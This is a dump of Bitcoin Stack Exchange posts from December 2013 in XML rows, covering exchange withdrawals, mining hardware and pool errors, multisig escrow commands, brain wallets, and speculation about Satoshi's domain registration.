  <row Id="18156" PostTypeId="1" AcceptedAnswerId="18159" CreationDate="2013-12-06T20:15:39.983" Score="0" ViewCount="217" Body="&lt;p&gt;I'd like, at one point, to create myself a bitcoin wallet using an offline computer and then store that wallet in a safe (either printed, encrypted, on a sheet of paper or encrypted on a USB stick). However that requires quite some time and some skills, which I don't have yet (related to bitcoin -- when it comes to Linux / boot-only CDs/DVDs and PKCS etc. there's no problem: I'm a long time Linux user and I do know a bit about crypto stuff).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meanwhile I may want to already buy bitcoins online (say if a crash happens I may decide to buy some).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I open an account on, say, mtgox, can I immediately buy bitcoins and if I can, can I then transfer the very bitcoins I just bought to my own personal wallet (the one that I'll generate later on offline and put its private part in a safe).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side-question: where are the bitcoins that I buy on mtgox stored? In a wallet belonging to mtgox?&lt;/p&gt;&#xA;" OwnerUserId="9962" LastActivityDate="2014-01-09T16:22:40.107" Title="Can I first open an account on an exchange then later on transfer to my wallet?" Tags="|transactions|wallet|exchanges|mtgox|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18159" PostTypeId="2" ParentId="18156" CreationDate="2013-12-06T21:08:02.337" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If I open an account on, say, mtgox, can I immediately buy bitcoins and if I can, can I then transfer the very bitcoins I just bought to my own personal wallet (the one that I'll generate later on offline and put its private part in a safe).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, that's a basic Bitcoin withdrawal.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As a side-question: where are the bitcoins that I buy on mtgox stored? In a wallet belonging to mtgox?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, exactly.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-06T21:08:02.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18161" PostTypeId="1" CreationDate="2013-12-06T21:27:51.180" Score="0" ViewCount="1013" Body="&lt;p&gt;Can somebody provide me with the $price per GHps in mining since the old CPU days til present pre-orders?&#xA;I don't mean energy usage or price vs price of btc.. simply hardware costs relative to how fast they hash.&lt;/p&gt;&#xA;" OwnerUserId="10263" LastEditorUserId="5406" LastEditDate="2016-03-17T15:55:55.393" LastActivityDate="2016-03-17T15:55:55.393" Title="Can somebody provide me with the $price per GHps in mining since the old CPU days til present pre-orders?" Tags="|mining-hardware|hashpower|history|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18162" PostTypeId="2" ParentId="16938" CreationDate="2013-12-06T21:29:19.917" Score="0" Body="&lt;p&gt;I found out why it didn't show. These mining pools out there just like coinotron arent running super servers and there are multiple people connected and it cant always pull that kind of strain on the server to request up to date/time of your local hash speed, so it displays what it can for everyone. Also After initialy starting your miner you have to wait atleast 5-10 minutes depending on your bandwidth for cgminer to officially connect and for your worker to show some kind of data. In cgminer look for where it shows A:# and HW:#  if these values are 0 then the connection hasnt been made yet. Just wait for 5-10 minutes and its value should keep going up. Once you see its values going up look to the right there should be something that says shares accepted , its value should be going up in time as well. If A:# or HW:# has not changed and stays and 0 then something is wrong ,you need to reconfigure your commands that you typed for it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you find this helpful upvote :p&lt;/p&gt;&#xA;" OwnerUserId="3773" LastActivityDate="2013-12-06T21:29:19.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18164" PostTypeId="1" AcceptedAnswerId="18172" CreationDate="2013-12-06T21:38:27.707" Score="3" ViewCount="1348" Body="&lt;p&gt;Fine, we don't know who he is. I get that. But he &lt;strong&gt;did&lt;/strong&gt; register bitcoin.org, and as a result had to use a credit card. So the original domain registrar must know who he is, no?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2014-09-14T14:41:13.997" Title="Won't DNS records reveal who Satoshi is?" Tags="|satoshi-nakamoto|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18165" PostTypeId="2" ParentId="18161" CreationDate="2013-12-06T21:52:01.230" Score="1" Body="&lt;p&gt;There isn't really a good way of measuring that in the early days. When CPU mining was actually doable, people would just use hardware they had. It didn't necessarily &quot;cost&quot; them anything. Even with GPU mining it's hard to estimate GH/s/$ because these weren't &lt;em&gt;made&lt;/em&gt; for mining. &lt;/p&gt;&#xA;" OwnerUserId="9512" LastActivityDate="2013-12-06T21:52:01.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18166" PostTypeId="2" ParentId="18161" CreationDate="2013-12-06T21:53:22.060" Score="1" Body="&lt;p&gt;I think this is what you are looking for:&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Mining_hardware_comparison&lt;/a&gt;&#xA;it gives a large list of CPU and GPU hardware. It does not give MHS/$ for CPUs, because it is tricky to calculate. But you could estimate the value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actual preorder GHS/$ you can find at the mining dashboard:&#xA;&lt;a href=&quot;http://mining.thegenesisblock.com/&quot; rel=&quot;nofollow&quot;&gt;http://mining.thegenesisblock.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10312" LastActivityDate="2013-12-06T21:53:22.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18167" PostTypeId="1" AcceptedAnswerId="18223" CreationDate="2013-12-06T22:20:42.520" Score="3" ViewCount="2860" Body="&lt;p&gt;I recently cloned from &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin&lt;/a&gt;.  I followed the documentation in &lt;code&gt; doc/build-osx.md&lt;/code&gt;.  I can build and run &lt;code&gt;bitcoind&lt;/code&gt; without a problem.  But I would have expected to see &lt;code&gt;bitcoin-qt&lt;/code&gt; built, but I do not see it anywhere.  Am I doing something wrong?  What is the build target for &lt;code&gt;bitcoin-qt&lt;/code&gt; or, more generally, how do I build it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you so much.&lt;/p&gt;&#xA;" OwnerUserId="9987" LastActivityDate="2020-07-25T09:13:41.360" Title="Build bitcoin-qt on OSX" Tags="|bitcoin-core|mac|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18169" PostTypeId="2" ParentId="18072" CreationDate="2013-12-06T22:31:48.163" Score="0" Body="&lt;p&gt;I'm not sure whether to try and answer your question, or to persuade you that this is a bad idea[1].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Computer-generated paper wallets are will be more secure (randomness/entropy) but if entering the code is prohibitive then you might consider a brain wallet, which let's you derive the public/private keypair from a passphrase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The passphrase could be a personal holiday greeting. It's arguable whether the greeting would have sufficient entropy to prevent it from being guessed -- the consequences of using a weak passphrase are well-documented [2]. The brain wallet needs to be generated in a secure manner (offline -- anything you type into a web form is potentially saved/cached). Link[3]. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your recipient would then need to enter the passphrase into brainwallet.org (or equivalent) to get the corresponding private key. They really should do this offline too, so there is less chance that the passkey or private key are intercepted. Then they need to import the private key into a wallet client or web wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for transferring funds, you send bitcoin (assuming you own some bitcoin) to the public address you've generated for your recipients -- generating a public/private pair for them doesn't include the funding with bitcoin. If there is any chance that your recipients are not technically savvy enough to do the translations and import, then you probably don't want to actually send BTC and have it be orphaned. But that's your call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't covered all of them, but there are many other reasons why this might be a bad idea -- I'm tempted to abandon this response, but now I've invested too much time in replying. Caveat emptor, YMMV, IANAL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] Bad idea for many reasons, but foremost, private keys need to be kept private. Sending them means they could be intercepted, possibly copied, and you and the recipient would never know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[2] &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1nbmet/somebody_stole_over_13_btc_from_my_brainwallet_wtf/&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/Bitcoin/comments/1nbmet/somebody_stole_over_13_btc_from_my_brainwallet_wtf/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[3] &lt;a href=&quot;http://minetopics.blogspot.com/2013/02/super-easy-offline-bitcoin-wallets.html&quot; rel=&quot;nofollow&quot;&gt;http://minetopics.blogspot.com/2013/02/super-easy-offline-bitcoin-wallets.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10206" LastActivityDate="2013-12-06T22:31:48.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18170" PostTypeId="2" ParentId="18164" CreationDate="2013-12-06T22:31:56.673" Score="4" Body="&lt;p&gt;First of all, who made you think that Satoshi registered it? Based on &lt;a href=&quot;https://bitcointalk.org/index.php?topic=103369.0&quot; rel=&quot;nofollow&quot;&gt;this information&lt;/a&gt; there are a lot of speculation regarding this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, if even he has registered something, why do you think it will be so easy to track back the identity? Sometimes people can use fake identities, proxy servers and anonymisers exist, people can sit in cafes in another city where they will never appear.&lt;/p&gt;&#xA;" OwnerUserId="1891" LastActivityDate="2013-12-06T22:31:56.673" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18172" PostTypeId="2" ParentId="18164" CreationDate="2013-12-06T23:08:53.867" Score="8" Body="&lt;p&gt;Assuming that Satoshi himself registered the domain with his or her own personal information, and/or used a credit card tied to his or her real name, then it is likely that the registrar maybe have knowledge of the real identity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HOWEVER&lt;/strong&gt;,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It is not known if Satoshi used his or her real name to register.&lt;/li&gt;&#xA;&lt;li&gt;It is not known if Satoshi used his or her personal payment information when registering.&lt;/li&gt;&#xA;&lt;li&gt;It is unlikely that a registrar that specializes in privacy would ever divulge the above information or even its existence without a court order.&lt;/li&gt;&#xA;&lt;li&gt;It is possible that the registrar may not have retained records dating back to then, so it is possible that the above information was known but is no longer retrievable.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dnshistory.org/dns-records/bitcoin.org&quot;&gt;DNSHistory.org&lt;/a&gt; began tracking bitcoin.org in early 2011, well after Satoshi exited. It does not track registrant information. &lt;a href=&quot;http://whoisrequest.org/history/&quot;&gt;WhoisRequest.org&lt;/a&gt; tracks NS back to September 2008, but only tracks nameserver changes. &lt;a href=&quot;http://who.is/domain-history/bitcoin.org&quot;&gt;Who.is&lt;/a&gt; yields the known fact that the domain was registered with the AnonymousSpeech registrar and the registrant information as &lt;a href=&quot;http://www.digirock.jp/aboutus.html&quot;&gt;DigiRock&lt;/a&gt;, a Japanese domain registrar and hosting provider. This was likely a proxy registration.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-12-06T23:08:53.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18173" PostTypeId="1" CreationDate="2013-12-06T23:11:12.527" Score="0" ViewCount="175" Body="&lt;p&gt;Looking at both this example:&#xA;&lt;a href=&quot;https://earlytemple.com:8181/index.jsp&quot; rel=&quot;nofollow&quot;&gt;https://earlytemple.com:8181/index.jsp&lt;/a&gt;&#xA;and this example:&#xA;&lt;a href=&quot;https://gist.github.com/gavinandresen/3966071&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/gavinandresen/3966071&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I plowed through everything to the point where I was doing it all right: I made sure the transaction funding the escrow account came from one of the two parties in the multisig address, in this case it was &lt;/p&gt;&#xA;&#xA;&lt;p&gt;createmultisig 2 '[&quot;02bf4782452f7605994a27ad130ff2d6ee7f2e3399f8c0be79a114a5c116794277&quot;,&quot;035602e50d80b4c0066d4bb004f33557b100d421f02a32cd853bb24ead7bbfd351&quot;]'&#xA;which produced the escrow address 3QQTMoaJZzkRqWAavPJRvEcTTFt7sRxiPL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I funded the transaction manually with createrawtransaction, pulling from one of these two accounts, then I created a redemption transaction, then I signed that the way specified in the instructions, then I went to the other machine running bitcoin-qt and signed the output of the previous signing operation with the private key on that side, then I tried a send operation from that machine (didn't let me) so I went back to the original machine and sent it from there (did let me) and it returned a transaction ID of 30a6693a74e9c60a34af0262c14e516dd4ffa75cb9f496cd2f6ba484135bbe2a, which does not seem to be getting into the blockchain.  I've had that happen about three times now.  I specified settxfee 0.0002 to make sure (I hoped) that I was paying to get it included?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody point me in the right direction here?  I really could get a lot of use out of this function if I could get it to work, and I just can't figure out what I'm doing wrong.&lt;/p&gt;&#xA;" OwnerUserId="10316" LastActivityDate="2014-09-03T21:12:52.183" Title="Having trouble setting up the escrow function - returns transaction ID but doesn't get to blockchain?" Tags="|multi-signature|escrow|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18174" PostTypeId="1" CreationDate="2013-12-06T23:16:56.023" Score="7" ViewCount="2424" Body="&lt;p&gt;Both bitcoin and encrypted emailing are based on public key cryptography. However, they use different implementations, so I assume that a public PGP key cannot be used as a bitcoin address directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But would it be possible to convert a public PGP key to a bitcoin address in such a way that it can be accessed only with the corresponding private PGP key (or something derived from it)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If such an algorithm existed it would allow for sending coins to people without them knowing anything about Bitcoin, as long as they have a PGP key (e.g. for giving someone a little incentive to learn something about Bitcoin).&lt;/p&gt;&#xA;" OwnerUserId="9175" LastActivityDate="2023-06-21T15:23:33.227" Title="Is it possible to use a PGP key as a bitcoin address?" Tags="|cryptography|address-generation|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18175" PostTypeId="2" ParentId="18174" CreationDate="2013-12-06T23:31:25.657" Score="6" Body="&lt;p&gt;No, this is not possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recent GPG versions do have support for Elliptic Curve crypto, with associated EC keys. The EC curves supported there are different from the one used in Bitcoin, though (they don't have the same size, so they certainly can't be isomorphic).&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-12-06T23:31:25.657" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18177" PostTypeId="2" ParentId="18156" CreationDate="2013-12-06T23:50:23.520" Score="1" Body="&lt;p&gt;You have to verify your identity and address with Mt. Gox and Bitstamp before you are able to withdraw coins or USD. BTC-E does not have that requirement for small amounts but it is a lot harder to get money into. So overall there is no &quot;quick&quot; way to get into bitcoin. You have to put in the time to get verified and also to learn what bitcoin is and how it works. It is unlike any other currency so if you don't know how it works you are liable to loose a lot of money. For example exchange accounts get hacked all the time so you never leave a large amount there and using an online wallet like blockchain.info is also asking for trouble. &lt;/p&gt;&#xA;" OwnerUserId="5273" LastActivityDate="2013-12-06T23:50:23.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18181" PostTypeId="2" ParentId="18130" CreationDate="2013-12-07T02:23:06.870" Score="2" Body="&lt;p&gt;Currently, the only functional bitcoin bridge the client directly uses is operated by Bitstamp. The time until they issue a matching bitcoin transaction is completely dependant on how well Bitstamp's automation and bitcoin transaction batching is working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Ripple side of the transaction completes within seconds. When Bitstamp is operating &quot;correctly&quot; the bitcoin transaction is initiated within seconds or a couple of minutes. Then of course you'll need to wait for however many bitcoin confirmations the receiver requires.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the Ripple side of the transaction completes, if there are any further unexpected delays or problems the sender will need to enter a support ticket with the brigde operator (Bitstamp for now) to have someone there look into the issue/problem. For example, a week or so ago, their automation stopped processing most Ripple transactions and it took quite a long time for their support to straighten everything out.&lt;/p&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2013-12-07T02:23:06.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18183" PostTypeId="2" ParentId="18174" CreationDate="2013-12-07T04:24:40.407" Score="0" Body="&lt;p&gt;Yes, technically you could. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any 256 bit number can be used as a bit coin private key. &#xA;If you hashed the PGP key with SHA256 you would have a private key that could be used for bitcoin. Really you'd be using your private PGP key as a brain wallet seed with very high entropy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: With all that being said I still wouldn't do it.&lt;/p&gt;&#xA;" OwnerUserId="191" LastEditorUserId="191" LastEditDate="2013-12-07T04:38:31.913" LastActivityDate="2013-12-07T04:38:31.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18184" PostTypeId="2" ParentId="18011" CreationDate="2013-12-07T04:40:11.027" Score="1" Body="&lt;p&gt;Checkout pywallet. Its a python script that may be able to help you out. I've had similar issues with OSX clients in the past. You may also want to try finding an older version of the bitcoin-qt client for OSX and see if that works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/jackjack-jj/pywallet&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jackjack-jj/pywallet&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10329" LastActivityDate="2013-12-07T04:40:11.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18185" PostTypeId="2" ParentId="18151" CreationDate="2013-12-07T04:43:30.907" Score="0" Body="&lt;p&gt;MtGox is most likely your easiest route. Buy bitcoins. I don't recommend mining at this point unless you're feeling technically competent and risky. You can also try tranfering funds from Dwolla to CampBX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.mtgox.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.mtgox.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://campbx.com/&quot; rel=&quot;nofollow&quot;&gt;https://campbx.com/&lt;/a&gt;‎&lt;/p&gt;&#xA;" OwnerUserId="10329" LastActivityDate="2013-12-07T04:43:30.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18186" PostTypeId="1" AcceptedAnswerId="18187" CreationDate="2013-12-07T05:05:00.210" Score="2" ViewCount="154" Body="&lt;p&gt;The minting of new bitcoins is deterministic, and there will eventually be a cap to the production of new bitcoins. Why do we say that bitcoins are a decentralized currency if they are created in such a &quot;top down&quot;, regulatory way?&lt;/p&gt;&#xA;" OwnerDisplayName="user10259" LastEditorUserId="5406" LastEditDate="2016-04-25T21:28:54.067" LastActivityDate="2016-04-25T21:28:54.067" Title="If the supply of Bitcoin is regulated, how could it be said to be decentralized?" Tags="|money-supply|decentralization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18187" PostTypeId="2" ParentId="18186" CreationDate="2013-12-07T05:20:55.997" Score="0" Body="&lt;p&gt;Bitcoin is decentralized because the authenticity of all transactions depends on the 'decentralized' network of miners who compute SHA-256 proof of works hashes. The Bitcoin cap is completely arbitrary and doesn't really matter since Bitcoins are divisible to multiple decimal places. Whether there will be 2,100 bitcoins or 21 trillion bitcoins, the cap doesn't really matter. Its all relative. I feel as though the 21 million number was picked with consideration to the number of potential users in correspondence to the size of ints, floats, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many people debate as to how 'decentralized' bitcoin really is. It seems as though those who create or own ASIC miners are the ones who really have the edge on the market. Some say that certain altcoins that cannot be mined with ASICs may be more decentralized, since CPUs and GPUs are more widespread.&lt;/p&gt;&#xA;" OwnerUserId="10329" LastEditorUserId="10329" LastEditDate="2013-12-07T05:59:44.703" LastActivityDate="2013-12-07T05:59:44.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18188" PostTypeId="2" ParentId="18072" CreationDate="2013-12-07T05:43:16.083" Score="0" Body="&lt;p&gt;Maybe try buying some dirt cheap 1Gb flash drives of eBay from China. Drop the wallet and a pretty instruction page that is stylized as a webpage or something. Very professional and flash drives are very cheap.&lt;/p&gt;&#xA;" OwnerUserId="10329" LastActivityDate="2013-12-07T05:43:16.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18189" PostTypeId="1" AcceptedAnswerId="18209" CreationDate="2013-12-07T05:45:01.243" Score="2" ViewCount="180" Body="&lt;p&gt;Is bitcoin a viable way to transfer money from one currency to another?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I say viable, what I mean is: is it similar or lower in cost to other currency conversion services e.g. xoom.com or bank-to-bank transfers and does the benefit of the conversion rates outweigh the potential risks involved.&lt;/p&gt;&#xA;" OwnerUserId="10332" LastEditorUserId="51948" LastEditDate="2017-12-24T03:22:04.510" LastActivityDate="2017-12-24T03:22:04.510" Title="Is Bitcoin a viable way to transfer money from one currency to another" Tags="|currencies|exchange-rate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18190" PostTypeId="2" ParentId="18103" CreationDate="2013-12-07T05:45:33.270" Score="-2" Body="&lt;p&gt;I don't think the 21 million cap will ever be 'reached'. It will be approached, but it is designed similarly to an asymptote. The rewards will just be halved indefinitely. The idea is the reward will increase in value with the deflation of bitcoin together with the accumulated transaction fees of the network.&lt;/p&gt;&#xA;" OwnerUserId="10329" LastActivityDate="2013-12-07T05:45:33.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18191" PostTypeId="2" ParentId="18057" CreationDate="2013-12-07T05:54:09.830" Score="2" Body="&lt;p&gt;You probably want to still join a pool. Even if you lose 1% or so to a pool, consider the cost of wasted time when down. Suppose you get ready to close down your mining rig and it has been mining for two weeks straight with no block. Hypothetically you could have received a block the following day. That means you just wasted those two weeks of computing for nothing. Had you joined a pool, you would have at least gotten paid for those two weeks. Pools will also be there for you when that two week block period turns into a two month period.&lt;/p&gt;&#xA;" OwnerUserId="10329" LastActivityDate="2013-12-07T05:54:09.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18192" PostTypeId="2" ParentId="18137" CreationDate="2013-12-07T05:58:05.430" Score="1" Body="&lt;p&gt;I think that 'lost' coins will only increase the value of Bitcoin (good for holders). Less coins = more competition for those coins that are still in circulation. All in all, the bitcoin cap is simply a number. The price of bitcoin in USD is completely relative to the demand of bitcoin since bitcoin can be broken up indefinitely. There could only be 10 bitcoins in circulation and the network would behave the same, we would just be working in milli, micro, and nano-bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="10329" LastActivityDate="2013-12-07T05:58:05.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18194" PostTypeId="1" AcceptedAnswerId="18236" CreationDate="2013-12-07T07:46:22.993" Score="0" ViewCount="11925" Body="&lt;p&gt;How exactly do you calculate how many hashes your hardware is generating?&lt;/p&gt;&#xA;" OwnerUserId="10339" LastActivityDate="2014-04-24T23:48:01.017" Title="How to calculate Hashes per Second" Tags="|hash|hashpower|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18195" PostTypeId="2" ParentId="17035" CreationDate="2013-12-07T07:59:42.603" Score="1" Body="&lt;p&gt;This isn't written specifically about mining, but I wrote a comprehensive document that a web developer can follow. It also contains the library on the page so you can experiment along in the console. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here it is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://procbits.com/2013/08/27/generating-a-bitcoin-address-with-javascript&quot; rel=&quot;nofollow&quot;&gt;Generating a Bitcoin Address in JavaScript&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully it helps you some on your quest to learn more about Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="3724" LastActivityDate="2013-12-07T07:59:42.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18196" PostTypeId="2" ParentId="18194" CreationDate="2013-12-07T08:01:14.953" Score="0" Body="&lt;p&gt;Ah, you start generating, after one second you cound how many you generated. If that is too random (generation of one takes too long), you generate for 10 seconds, count, divide by 10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that THAT hard? Counting things and dividing by time are pretty obvious, or?&lt;/p&gt;&#xA;" OwnerUserId="103" LastActivityDate="2013-12-07T08:01:14.953" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18197" PostTypeId="1" CreationDate="2013-12-07T08:08:02.297" Score="-4" ViewCount="2832" Body="&lt;p&gt;I have a friend who has no problem with dropping tons of money on something like this, which is, of course, $22,500. As he is practically useless with computers, I offered him a deal; I'll do the maintenance and actual management of the device if he buys it and I get a 50% cut of all profits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, from what I've inputted into profitability calculators on the net, we'd be making about $8,500 per month. That'd be $4,250 for each of us, and that's no small sum at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be wise to go through with this? By the looks of it, we'd be sitting pretty with all of that extra spending money. I know it'd help out a whole lot around here, that's for sure.&lt;/p&gt;&#xA;" OwnerUserId="10342" LastEditorUserId="5406" LastEditDate="2016-04-25T21:28:08.987" LastActivityDate="2016-04-25T21:28:08.987" Title="Is the 500 gigahash ASIC miner from Butterfly Labs a good investment?" Tags="|mining-profitability|mining-hardware|" AnswerCount="1" CommentCount="1" ClosedDate="2013-12-10T05:42:42.317" ContentLicense="CC BY-SA 3.0" />
  <row Id="18198" PostTypeId="1" CreationDate="2013-12-07T08:15:58.020" Score="-2" ViewCount="1797" Body="&lt;p&gt;I have a quite powerful server which pretty much sits idle and I thought I'd use its cycles for some pool mining with cpuminer. However, nothing seems to get accepted. I tried two pools (bitcoin.cz and bitminter.com) but it's all the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the error I'm getting on bitminter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2013-12-07 08:56:04] &amp;lt; {&quot;result&quot;:null,&quot;error&quot;:[23,&quot;Below difficulty&quot;,null],&quot;id&quot;:4}&#xA;[2013-12-07 08:56:04] accepted: 0/209 (0.00%), 45.88 khash/s (booooo)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any hints?&lt;/p&gt;&#xA;" OwnerUserId="10340" LastEditorUserId="5406" LastEditDate="2016-04-25T21:27:52.200" LastActivityDate="2016-04-25T21:27:52.200" Title="Trying to mine - nothing gets accepted" Tags="|mining-pools|miner-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18199" PostTypeId="1" AcceptedAnswerId="18206" CreationDate="2013-12-07T08:32:42.993" Score="1" ViewCount="270" Body="&lt;p&gt;I have a quick rather &quot;noob&quot; question about MtGox. I've noticed many reports about MtGox being very slow at &quot;paying out&quot; usd, and have seen many people suggesting that you should transfer your bitcoins to Coinbase before selling them, so you can get your USD faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I have a simpler question, if I want to sell a bitcoin on mtgox, am I &quot;stuck&quot;? Meaning if I sell 1 bitcoin for, example ($1000 usd), would the 1000 usd immediately be tried to be put into my bank account and then be &quot;on hold&quot;? Or could I take that 1000 usd and immediately buy another 1 bitcoin about 5 minutes later when it is $900.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am basically trying to evaluate the possibility of a &quot;quick turnaround&quot; on MtGox buying and selling bitcoins, the equivalent of a &quot;Day Trader&quot; in the stock market&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="10343" LastActivityDate="2013-12-07T09:57:46.027" Title="Buying and Selling on MtGox" Tags="|mtgox|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18200" PostTypeId="2" ParentId="17537" CreationDate="2013-12-07T08:57:35.540" Score="2" Body="&lt;p&gt;If you're willing to buy BTC on Coinbase to xfer to BTC-e, when you want to cash out wouldn't you just trade over to BTC on BTC-e to xfer to Coinbase to sell for USD then withdrawal?&lt;/p&gt;&#xA;" OwnerUserId="6909" LastActivityDate="2013-12-07T08:57:35.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18201" PostTypeId="1" CreationDate="2013-12-07T09:09:09.553" Score="4" ViewCount="2875" Body="&lt;p&gt;I am exploring litecoin and I am confused about transaction fee. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What is the minimum recommended fee per kb?&lt;/li&gt;&#xA;&lt;li&gt;Is the fee structure enforced by the miners or only by the clients?&lt;/li&gt;&#xA;&lt;li&gt;If I somehow craft and send a transaction with zero fee, what will happen? (will it not be accepted by the network or will it be accepted and eventually confirm?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2075" LastActivityDate="2014-05-28T09:20:02.417" Title="Litecoin transaction fee structure?" Tags="|litecoin|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
